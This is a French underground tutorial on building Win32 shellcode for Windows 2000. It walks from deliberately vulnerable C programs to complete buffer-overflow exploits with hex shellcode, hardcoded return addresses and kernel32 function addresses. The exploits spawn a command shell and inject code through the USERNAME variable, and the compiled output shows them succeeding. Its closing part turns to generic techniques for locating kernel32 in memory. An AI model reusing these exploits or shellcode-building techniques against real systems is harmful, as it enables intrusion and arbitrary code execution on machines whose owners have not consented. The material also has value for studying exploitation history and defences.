REAL Win32 GENERIC SHELLCODE

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/

				  ============================
  			        * REAL Win32 GENERIC SHELLCODE *
				  ============================
		  The ultimate solution for hacking win2k with all service pack


				     By ThreaT & Crazylord.

/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/


Pré-introduction
^^^^^^^^^^^^^^^^
Cet article n'est nullemment un vulgaire papier proposant une compilation ou explication
des techniques déjà existantes dans le domaine des shellcodes win32 génériques.

L'objet de cet essai est de proposé une solution innovante, optimisée et élégante à l'élaboration
de code injectable, et suppose une forte compétence technique en matière de programmation
bas niveau.

Pour que notre approche soit claire et bien comprise, nous nous attarderons à faire un
récapitulatif de ce que sont les shellcodes win32, en expliquant leur utilité, les solutions
apportées par la communauté mondiale, ainsi que les problèmes pouvant se poser lors de leur
création.

Ceci permettra dans un premier temps de rafraîchir les mémoires, puis dans un deuxième temps
de crédibiliser notre demarche, et ainsi apporter la preuve comparative que notre technique
constitue la meilleure solution dans la conception de shellcode générique sous win2k.

Il ne nous reste plus qu'à vous laisser entre les mains de votre autodidactisme, tout en
vous souhaitant une bonne lecture...


-


Table des matières
******************

...I/ Introduction.

..II/ Les shellcodes win32 en général.

------> 2.a) About Win32 shellcodes.
------> 2.b) Les shellcodes spécifiques.
------> 2.c) Les shellcodes statiques.
------> 2.d) Les shellcodes génériques.

.III/ Etude de quelques solutions apportées par la communauté " underground mondiale ".

------> 3.a) Etude du shellcode statique de |Zan. ( ~ 1170 bytes )
------> 3.b) Etude du shellcode générique de RaiSe. ( 790 bytes )

..IV/ Notre approche sur la question.

------> 4.a) L'abolition de l'adresse de base, grâce au Process Environment Block.
------> 4.b) Une reconstruction de LoadLibraryA / GetProcAdress.
------> 4.c) La mise en place d'une fonction ASM exportable et injectable.

...V/ Quelques shellcodes génériques, basés sur la fonction magique.

------> 5.a) Shellcode générique d'exécution de commande. (150 bytes)
------> 5.b) Shellcode générique download & execute from URL. (247 bytes)

..VI/ Conclusion.

.VII/ Fin.



/*************************************************************************************
I. INTRODUCTION
*************************************************************************************/

La compréhension des shellcodes est une étape importante dans le processus d'autoformation
d'un hacker, car ceux-ci constituent l'élément essentiel de toutes les attaques evoluées
(buffer overflow, reverse engeenering, Shatter Attacks, rootkit, format string, etc...).

Malgrès certaines bonnes documentations traitant du sujet, comme par exemple 'Designing win32
shellcode' by sunnis, le monde win32 ne trouve refuge quand dans des commentaires d'explication,
relatant les méthodes utilisées pour créer des shellcodes spécifiques, et s'extasie devant
des projets génériques dont les shellcodes dépassent souvent les 800 octets !!

Pour enfin avoir une documentation française traitant du sujet, et surtout introduire notre
approche sur la conception de shellcode générique sous win2k, nous avons decidé de léguer
cet article à tout les autistes/schizophrenes et autres personnes atteintes du syndrome
d'asperger, cherchant sans cesse la perfection technique...

let's go on!


/*************************************************************************************
II. LES SHELLCODES WIN32 EN GENERALES
*************************************************************************************/


///
2.A ABOUT WIN32 SHELLCODE
///

- Qu'est ce que c'est qu'un shellcode ?
  *************************************

Un shellcode est un micro programme ( moin de 1Ko ) destiné à exécuter une tâche bien
précise (exécution d'une commande, création d'un utilisateur, download d'un fichier, etc...)

- A quoi servent les shellcodes ?
  *******************************

L'utilité première d'un shellcode est d'être INJECTE.
C'est à dire que votre micro programme est placé dans l'espace d'exécution d'un processus
dans le but d'y être executé avec les privilèges de ce dernier.

La deuxieme utilité possible d'un shellcode est de remplacer ou rajouter une fonction
dans un binaire ou une VM on the fly.

- Quelles sont les propriétés generales des shellcodes ?
  ******************************************************

Pour les shellcodes injectables dans des buffers, il faut que le micro programme ne contienne
aucun NULL BYTE (0x00), car cet octet delimite la fin d'une chaine de caractère.
(et tronquerais donc le shellcode)

la deuxième chose à prendre en compte est l'optimisation pour une taille minimale,
ceci afin qu'il puisse être copié même dans un petit buffer.

Enfin, la troisième propriété d'un shellcode est que celui ci ne doit contenir aucune
adresse absolue, car l'adresse où le shellcode est injecté est généralement inconnue.


- Quel est la différence entre un shellcode unix, et un shellcode win32 ?
  ***********************************************************************

Les shellcodes sous win32 sont élaborés à partir des instructions placées dans des librairies
(dll), ce qui implique leur chargement en mémoire avant toute conception (ce qui grossit
fortement les shellcodes), alors que sous unix, les shellcodes utilise les syscalls
(comparables aux interruptions sous DOS), ce qui leurs apporte un réel gain d'octets.



///
2.B LES SHELLCODES SPECIFIQUES
///

Malgrès ce qui a été repondu à la question sur les propriétés générales des shellcodes,
les shellcodes win32 spécifiques utilisent directement les adresses absolues des programmes
qu'ils exploitent.

L'avantage de cette technique est bien sûr une économie d'octet considérable,
et surtout, la possibilité d'utiliser directement des fonctions 'evoluées' sans avoir à écrire
un code long et fastidieux.

Cependent, les shellcodes spécifiques ne sont valides que pour un programme précis, et
ne peuvent en aucun cas être réutilisés à outrance.

Leur utilité s'avère pour l'injection dans de petit buffer, ou dans le patching d'un binaire.

voici un exemple concret pour étayer les esprits :

========================================== vuln0.c ===========================================
#include 

int main (int argc, char *argv[])
{
	char command[50];

	if (!argv[1])
	{
		printf("/nUsage : %s /n"
			"Une vulnerabilitée est présente si la commande dépasse 60 caractères/n",argv[0]);
		exit (0);
	}

	sprintf (command,"@%s/x00",argv[1]);

	if (!system (command))
		printf ("/nLa commande a été exécutée/n");
	else
		printf ("/nImpossible d'exécuter la commande/n");

return 0;
}
============================================ EOF =============================================


E:/code/SP/vuln>cl /nologo vuln0.c
vuln0.c

E:/code/SP/vuln>vuln0

Usage : vuln0 
Une vulnerabilitée est présente si la commande dépasse 60 caractères

E:/code/SP/vuln>vuln0 coucou
'coucou' n'est pas reconnu en tant que commande interne
ou externe, un programme exécutable ou un fichier de commandes.

Impossible d'exécuter la commande

E:/code/SP/vuln>vuln0 "echo ceci est une commande de test"
ceci est une commande de test

La commande a été exécutée

E:/code/SP/vuln>vuln0 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB' n'est pas reconnu
en tant que commande interne ou externe, un programme exécutable ou un fichier de commandes.

Impossible d'exécuter la commande

========== BOOM ===========

Module Load: E:/CODE/SP/VULN/vuln0.exe  (no symbols loaded)
Thread Create:  Process=0, Thread=1
Second chance exception c0000005 (Access Violation) occurred
Thread stopped.
>rt
EAX=00000000  EBX=7ffdf000  ECX=00408120  EDX=00000001  ESI=0012f88f  EDI=00000000
EIP=42424242  ESP=0012ff88  EBP=41414141  EFL=00000246
CS=001b  DS=0023  ES=0023  SS=0023  FS=0038  GS=0000
Dr0=e14a8cf8  Dr1=eadd9a01  Dr2=00000000  Dr3=e14e9c28  Dr6=e2963bc8  Dr7=00000001
>


après un court travail d'investigation avec softice, on trouve une adresse suceptible
d'accueillir notre shellcode :)


>dd 132517
0x00132517  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x00132527  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x00132537  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x00132547  41414141 42424141 00004242 00000000 AAAAAABBBB......
0x00132557  0a005800 08010000 13282000 132b4000 .X....... (..@+.
0x00132567  26000000 00000c00 28d5ac00 00000000 ...&.......(....
0x00132577  00000000 00000000 00000000 00000000 ................
0x00132587  00000000 00000000 00000000 00000000 ................
>

comme vous pouvez le voir, nous n'avons que 54 bytes de manoevre.
le shellcode spécifique s'impose !

pour cela, nous devons analyser quelles sont les adresses utilisées par le programme
vulnérable, afin de pouvoir repérer les fonctions qui nous intéressent.

ce qui donne :

--- disassemble of vuln0.c ---

[...]

:00401033 6890804000              push 00408090
:00401038 8D55CC                  lea edx, dword ptr [ebp-34]
:0040103B 52                      push edx
:0040103C E8CB000000              call 0040110C      <-- sprintf ()
:00401041 83C40C                  add esp, 0000000C
:00401044 8D45CC                  lea eax, dword ptr [ebp-34]
:00401047 50                      push eax           <-- (char*) command
:00401048 E829000000              call 00401076      <-- system()
:0040104D 83C404                  add esp, 00000004
:00401050 85C0                    test eax, eax
:00401052 750F                    jne 00401063
:00401054 6898804000              push 00408098
:00401059 E802020000              call 00401260
:0040105E 83C404                  add esp, 00000004
:00401061 EB0D                    jmp 00401070

[...]

* Reference To: KERNEL32.ExitProcess, Ord:007Dh
                                  |
:0040123E FF1560704000            Call dword ptr [00407060] <-- ExitProcess ()

----------------

ok, nous connaissons les adresses d'appel de system() et de ExitProcess() utilisées par
le programme vulnérable.

Nous pouvons donc mettre en place un beau shellcode spécifique qui nous lancera un shell :)

========================================= vuln0sh.c ========================================
/*
* Démonstration d'exploit utilisant un shellcode win32 spécifique
*/

#include 

void main () {

	/*
	__asm {

		mov ebp, esp
		xor edi, edi
		push edi
	    	mov word ptr [ebp-4], 'mc'
		mov byte ptr [ebp-2], 'd' // le classique, on met cmd sur le stack

		lea eax, [ebp-4]
		push eax		// push 'cmd' en argument

		mov ebx, 0xFFFFFFFF     // astuce anti null byte
		sub ebx, 0xFFBFEF89     // 0xFFFFFFFF - 0xFFBFEF89 = 00401076 'system()'
		call ebx

		add bx, 0x5FEA		// encore une astuce : 0x401076 + 0x5FEA = 00407060
		call dword ptr [ebx]    // ExitProcess (0)

	}

--- Disassembled data ----

:00401000 55                      push ebp
:00401001 8BEC                    mov ebp, esp
:00401003 53                      push ebx
:00401004 56                      push esi
:00401005 57                      push edi
:00401006 8BEC                    mov ebp, esp
:00401008 33FF                    xor edi, edi
:0040100A 57                      push edi
:0040100B 66C745FC636D            mov [ebp-04], 6D63
:00401011 C645FE64                mov [ebp-02], 64
:00401015 8D45FC                  lea eax, dword ptr [ebp-04]
:00401018 50                      push eax
:00401019 BBFFFFFFFF              mov ebx, FFFFFFFF
:0040101E 81EB89EFBFFF            sub ebx, FFBFEF89
:00401024 FFD3                    call ebx
:00401026 6681C3EA5F              add bx, 5FEA
:0040102B FF13                    call dword ptr [ebx]

* Exploit code */

int i, j;
unsigned char buffer[59], Mallicious[100],

shellcode[] = {
	"/x55/x8B/xEC/x53/x56/x57/x8B/xEC/x33/xFF/x57/x66/xC7/x45/xFC/x63"
	"/x6D/xC6/x45/xFE/x64/x8D/x45/xFC/x50/xBB/xFF/xFF/xFF/xFF/x81/xEB"
	"/x89/xEF/xBF/xFF/xFF/xD3/x66/x81/xC3/xEA/x5F/xFF/x13"
	"/x1F/x25/x13/x00" // ret addr (jouez avec le byte /x1F si sa ne marche pas)
	} ;

for (i=0; i < 59 - (strlen (shellcode) + 1); buffer[i++] = 0x90);
for (i,j=0; i < 59; buffer[i++] = shellcode[j++]);

sprintf (Mallicious,"vuln0.exe %s",buffer);

system (Mallicious);

ExitProcess (0);

}
========================================== EOF ===============================================

on compile l'exploit

-

E:/code/SP/vuln>cl vuln0sh.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

vuln0sh.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:vuln0sh.exe
vuln0sh.obj

-

on lance l'exploit

-

E:/code/SP/vuln>vuln0sh
'??????????U<ìSVW<ì3ÿWfÇEücmÆEþd?EüP»ÿÿÿÿ?ë%ï¿ÿÿÓf?Ãê_ÿ??%?' n'est pas reconnu
en tant que commande interne ou externe, un programme exécutable ou un fichier
de commandes.

Impossible d'exécuter la commande
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

E:/code/SP/vuln>

-

boom, on a un shell :))

Comme vous pouvez le constater, nous avons reussi à exploiter un petit buffer grâce
à la technique du shellcode spécifique.

Le problème de cette attaque est que si nous avions voulu exécuter une autre tâche, comme
par exemple écrire dans un fichier, cela nous aurais été impossible, car vuln0 n'utilise
pas les fonctions dont nous aurions eu besoin.

Tout ceci est donc pratique, mais limité.

heureusement, il existe d'autres techniques :)



///
2.B LES SHELLCODES STATIQUES
///

La compréhension des shellcodes statiques demande un petit peu de connaissances en matière de
programmation win32.

Sa particularité est que celui ci part du principe que toutes les fonctions
dont il a besoin dans Kernel32.dll sont situés à une adresse inchangée (statique)

Pour que le shellcode puisse utiliser toute la puissance du système, et ainsi réaliser
n'importe quel tâche lors de l'exploitation d'un programme vulnérable, celui ci va
surtout se baser sur deux API windows, qui sont les suivantes :

--> LoadLibrary

La fonction LoadLibrary () map le module exécutable specifié dans l'espace d'adressage
du processus qui l'invoque

Utilisation :

HINSTANCE LoadLibrary(
    LPCTSTR  lpLibFileName 	// Adresse ou fichier du module exécutable
   );

--> GetProcAddress

La fonction GetProcAddress () retourne l'adresse de la fonction située dans la librairie
de lien dynamique (DLL) spécifié

Utilisation :

FARPROC GetProcAddress(
    HMODULE  hModule,	// handle du module DLL
    LPCSTR  lpProcName 	// nom de la fonction
   );


et c'est grâce à ces API que le shellcode peut aller chercher et charger toute fonction
exportée dont il aurait besoin.

un exemple pour le démontrer sera plus explicite

========================================= vuln1.c ============================================

#include 

void vuln_func (char *UserName)
{
	char name[500];
	lstrcpy (name,UserName);

	printf ("Bonjour %s !/n",name);

}

int main (int argc, char *argv[])
{

	DWORD flag;
	char EnvVar[1000];

	flag = GetEnvironmentVariable("USERNAME",EnvVar,1000);

	vuln_func (EnvVar);

	printf ("/nfin du programme/n");

return 0;
}

======================================== EOF ================================================


Ce programme vulnérable dit bonjour à l'utilisateur actuellement connecté.

Pour pouvoir connaître le nom de cet utilisateur, celui ci ce réfère
à la variable d'environnement USERNAME

Donc, si vous avez observez un peu, vous voyez que la variable est stockée dans
un buffer de 1000 octets, et ce buffer est envoyé en paramètre à la fonction vulnérable
qui ne peut récupérer la valeur que dans un buffer de 500 octets

ce qui veut dire que si la variable USERNAME fait une longueur de 510 ou 520 octets, strcpy
va overwriter le stack et passer le flot d'exécution à l'adresse situé à dword ptr [ESP] :)

on verifie de suite...

E:/code/SP/vuln>cl vuln1.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

vuln1.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:vuln1.exe
vuln1.obj

-

regardons la valeur de la variable USERNAME

-

E:/code/SP/vuln>set | find /i "username"
USERNAME=Administrateur

-

on exécute le prog

-

E:/code/SP/vuln>vuln1
Bonjour Administrateur !

fin du programme

E:/code/SP/vuln>

-

tout va bien

on apporte maintenant une petite modification

-

E:/code/SP/vuln>SET USERNAME=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

-

on relance le prog

-

E:/code/SP/vuln>vuln1
Bonjour AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB !

========== BOOM ===========

Module Load: E:/CODE/SP/VULN/vuln1.exe  (no symbols loaded)
Thread Create:  Process=0, Thread=1
Second chance exception c0000005 (Access Violation) occurred
Thread stopped.
>rt
EAX=00000207  EBX=7ffdf000  ECX=00406090  EDX=00000001  ESI=0012f88f  EDI=78499da7
EIP=42424242  ESP=0012fb90  EBP=41414141  EFL=00000212
CS=001b  DS=0023  ES=0023  SS=0023  FS=0038  GS=0000
Dr0=e14a8c98  Dr1=fb157a01  Dr2=00000000  Dr3=e14e9c28  Dr6=e2966ee8  Dr7=00000001
>

-

EIP=42424242, on tombe en plein dans le buffer overflow classique

-

>dd esp
0x0012FB90  0012fb00 000001fc 41414141 41414141 ........AAAAAAAA
0x0012FBA0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBB0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBC0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBD0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBE0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FBF0  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FC00  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
[...]
0x0012FD60  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FD70  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FD80  41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0x0012FD90  42424242 0012ff00 002f0000 002f5168 BBBB....../.hQ/.

-

la stack est completement exploséé avec notre variable USERNAME, impeccable

donc, combien sa nous fait de bytes de manoeuvre tout ca ?
(0x0012FD80+0x10) - (0x0012FB90+8) = 0x1F8 soit 504 bytes (c'était prévisible, mais bon)

ok, voici notre approche d'attaque :

Nous allons créer un shellcode qui va forcer le programme vulnérable à exécuter une
boîte de dialogue.

pour ce faire, nous devrons charger la lib user32.dll à l'aide de LoadLibraryA, puis
retrouver l'adresse exportée de la fonction MessageBoxA() qui, (pour rappel), fonctionne
de la manière suivante :

int MessageBox(
    HWND  hWnd,		// handle of owner window
    LPCTSTR  lpText,	// address of text in message box
    LPCTSTR  lpCaption,	// address of title of message box
    UINT  uType 	// style of message box
   );

commencons par connaitre les adresses de bases du kernel32 de notre système d'exploitation

Disassembly of File: kernel32.dll
Code Offset = 00000400, Code Size = 0005D000
Data Offset = 0005D400, Data Size = 00001A00

+++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++
Number of Exported Functions = 0823 (decimal)

Addr:77E79AC1 Ord: 340 (0154h) Name: GetProcAddress
Addr:77E7A254 Ord: 480 (01E0h) Name: LoadLibraryA
Addr:77E88F94 Ord: 141 (008Dh) Name: ExitProcess

très bien, nous pouvons dorénavant commencer l'élaboration du shellcode, et même enchainer
sur un expoit pour ce petit programme vulnérable

======================================= vuln1sh.c ==========================================

#include 

void main () {

/*
* Shellcode statique de démonstration
*
* Ce shellcode affiche une boite de dialogue, et est spécifique à la
* version 5.0.2195.2778 de Kernel32.dll (win2k SP2)
*

	__asm {

		mov ebp, esp
		sub esp, 36			// alloue 36 bytes sur le stack

		mov dword ptr [ebp-36],'sseM'
		mov dword ptr [ebp-32],'Bega'
		mov eax, 0xFFFFFFFF
		sub eax, 0xFFBE8790
		mov dword ptr [ebp-28], eax	// place 'MessageBoxA'

		mov dword ptr [ebp-24], 'resu'
		xor eax, eax
		add ax, 0x3233
		mov dword ptr [ebp-20], eax	// place 'user32'

		mov dword ptr [ebp-17], 'lleH'
		xor eax, eax
		mov ax, '!o'
		mov dword ptr [ebp-13], eax	// place 'Hello!'

		mov dword ptr [ebp-8], 'enwO'
		sub al, 11
		mov dword ptr [ebp-4], eax	// place 'Owned!'

		lea eax, [ebp-24]		// récupère le pointeur sur user32.dll
		mov ebx, 0x77E7A254		// met dans EBX l'adresse de la fonction LoadLibraryA
		push eax
		call ebx			// eax = LoadLibraryA ("user32")

		mov ebx, 0x77E79AC1		// Met dans EBX l'adresse de la fonction 
GetProcAddress
		lea ecx, [ebp-36]		// Récupère le pointeur sur MessageBoxA
		push ecx
		push eax
		call ebx			// GetProcAddresss ((HMODULE)eax,"MessageBoxA")

		xor ecx, ecx
		push 48				// icone Exlamation
		lea ebx, [ebp-17]		// récupère le pointeur sur 'Hello!'
		push ebx
		lea ebx, [ebp-8]		// récupère le pointeur sur 'Owned!'
		push ebx
		push ecx
		call eax			// MessageBox (NULL,"Owned!","Hello!", 48)

		mov eax, 0x77E88F94
		call eax			// ExitProcess (0)
}


  *
  * Disassembled DATA
  *


:00401006 8BEC                    mov ebp, esp
:00401008 83EC24                  sub esp, 00000024
:0040100B C745DC4D657373          mov [ebp-24], 7373654D
:00401012 C745E061676542          mov [ebp-20], 42656761
:00401019 B8FFFFFFFF              mov eax, FFFFFFFF
:0040101E 2D9087BEFF              sub eax, FFBE8790
:00401023 8945E4                  mov dword ptr [ebp-1C], eax
:00401026 C745E875736572          mov [ebp-18], 72657375
:0040102D 33C0                    xor eax, eax
:0040102F 66053332                add ax, 3233
:00401033 8945EC                  mov dword ptr [ebp-14], eax
:00401036 C745EF48656C6C          mov [ebp-11], 6C6C6548
:0040103D 33C0                    xor eax, eax
:0040103F 66B86F21                mov ax, 216F
:00401043 8945F3                  mov dword ptr [ebp-0D], eax
:00401046 C745F84F776E65          mov [ebp-08], 656E774F
:0040104D 2C0B                    sub al, 0B
:0040104F 8945FC                  mov dword ptr [ebp-04], eax
:00401052 8D45E8                  lea eax, dword ptr [ebp-18]
:00401055 BB54A2E777              mov ebx, 77E7A254
:0040105A 50                      push eax
:0040105B FFD3                    call ebx
:0040105D BBC19AE777              mov ebx, 77E79AC1
:00401062 8D4DDC                  lea ecx, dword ptr [ebp-24]
:00401065 51                      push ecx
:00401066 50                      push eax
:00401067 FFD3                    call ebx
:00401069 33C9                    xor ecx, ecx
:0040106B 6A30                    push 00000030
:0040106D 8D5DEF                  lea ebx, dword ptr [ebp-11]
:00401070 53                      push ebx
:00401071 8D5DF8                  lea ebx, dword ptr [ebp-08]
:00401074 53                      push ebx
:00401075 51                      push ecx
:00401076 FFD0                    call eax
:00401078 B8948FE877              mov eax, 77E88F94
:0040107D FFD0                    call eax

Exploit code start here */



	int i,j;
	unsigned char buffer[507],

	shellcode[] = { // taille du shellcode = 121 bytes
	"/x8B/xEC/x83/xEC/x24/xC7/x45/xDC/x4D/x65/x73/x73/xC7/x45/xE0/x61"
	"/x67/x65/x42/xB8/xFF/xFF/xFF/xFF/x2D/x90/x87/xBE/xFF/x89/x45/xE4"
	"/xC7/x45/xE8/x75/x73/x65/x72/x33/xC0/x66/x05/x33/x32/x89/x45/xEC"
	"/xC7/x45/xEF/x48/x65/x6C/x6C/x33/xC0/x66/xB8/x6F/x21/x89/x45/xF3"
	"/xC7/x45/xF8/x4F/x77/x6E/x65/x2C/x0B/x89/x45/xFC/x8D/x45/xE8/xBB"
	"/x54/xA2/xE7/x77/x50/xFF/xD3/xBB/xC1/x9A/xE7/x77/x8D/x4D/xDC/x51"
	"/x50/xFF/xD3/x33/xC9/x6A/x30/x8D/x5D/xEF/x53/x8D/x5D/xF8/x53/x51"
	"/xFF/xD0/xB8/x94/x8F/xE8/x77/xFF/xD0"
	"/xA0/xFB/x12/x00"	// adresse de retour
	} ;

	for (i=0; i < 507 - lstrlen (shellcode); buffer[i++] = 0x90);
	for (i,j=0; i < 507; buffer[i++] = shellcode[j++]);


	if (!SetEnvironmentVariable("USERNAME",buffer))
		printf ("Impossible de créer la variable d'environement malicieuse/n");
	else {
		printf ("Variable USERNAME millicieuse ok !/n"
			"Lancement du programme vulnérable.../n/n");

		system ("vuln1");
	}
}
========================================= EOF ================================================

E:/code/SP/vuln>cl vuln1sh.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

vuln1sh.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:vuln1sh.exe
vuln1sh.obj

E:/code/SP/vuln>vuln1sh
Variable USERNAME mallicieuse ok !
Lancement du programme vulnérable...

Bonjour ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉïýâý$ÃE_M
essÃEÓageB©    -Éç¥ ëEõÃEÞuser3+f?32ëEýÃE´Hell3+f©o!ëE¾ÃE°Owne,?ëE³ìEÞ+TóþwP Ë+-
ÜþwìM_QP Ë3+j0ì]´Sì]°SQ ð©öÅÞw ðá¹? !

_______________
|Hello!      [x]|
|^^^^^^^^^^^^^^^|
|  /^/          |
| / ! / Owned!  |
| -----         |
|   _________   |
|  |   O K   |  |
|   ¨¨¨¨¨¨¨¨¨   |
^^^^^^^^^^^^^^^

donc voila comment grâce à la methode statique, nous avons reussi à créer un petit shellcode
(121 bytes) et exécuter une fonction exportée du système (affichage de boîte de dialogue).

Le problème majeur de cette technique est que le shellcode s'appuie sur des adresses STATIQUES
de fonction relative à Kernel32.dll, et cela oblige l'attaquant à connaitre la version
précise du système d'exploitation cible pour mener son action à bien. (OS / services pack)

La solution qui vient à l'esprit serait d'arriver à créer une fonction permettant
de retrouver au minimum les adresses de LoadLibraryA() et de GetProcAddress(), car même
si une tel fonction grossirait fortement le shellcode, nous serions sur qu'une attaque
'aveugle' aboutirait.

Regardons ce qui existe dans ce domaine...



///
2.B LES SHELLCODES GENERIQUES
///

Comme vous avez dût le comprendre, le principe du shellcode générique et d'arriver à retrouver
par lui même les adresses des fonctions exportées de kernel32.dll

je vais donc vous expliquer la méthode la plus couramment utilisée pour arriver à cette fin.

La première etape consiste à retrouver l'adresse de base de kernel32 en scannant la
mémoire à la recherche d'un pattern, mais une telle opération soulève quelques questions,
à savoir :

-> quel pattern devons nous rechercher ?
-> comment être sur que le pattern correspond à kernel32.dll ?
-> quel plage de mémoire devons nous scanner ?
-> comment éviter les erreurs d'exception générées par la lecture d'un emplacement vide ?

Pour la première question, la réponse est simple, le pattern à rechercher est le header
'MZ' placé au début de tout exécutable.

pour répondre aux deux autres, observons un petit historique des images de bases de notre
dll à travers l'évolution du système microsoft

++++++++++++++++++++++++++++++++++
+ Some ImageBase of kernel32.dll +
++++++++++++++++++++++++++++++++++
+     077E00000h  - NT/W2k       +
+     077E80000h  - NT/W2k       +
+     077E70000h  - NT/W2k       +
+     077ED0000h  - NT/W2k       +
+     077F00000h  - NT/W2k       +
+     0BFF70000h  - 95/98        +
+     077E60000h  - XP home      +
+     0BFF60000h  - Me           +
++++++++++++++++++++++++++++++++++

on remarque dans ce petit récapitulatif que les adresses sont des multiples de
10 pages mémoires (une page etant equivalente à 0x1000)

nous pouvons donc dire d'après ce tableau que la plage à scanner ce trouve entre 0x77e00000
et 0xBFF00000 et que le scan sera défini à raison d'une vérification de pattern toute les
10 pages.

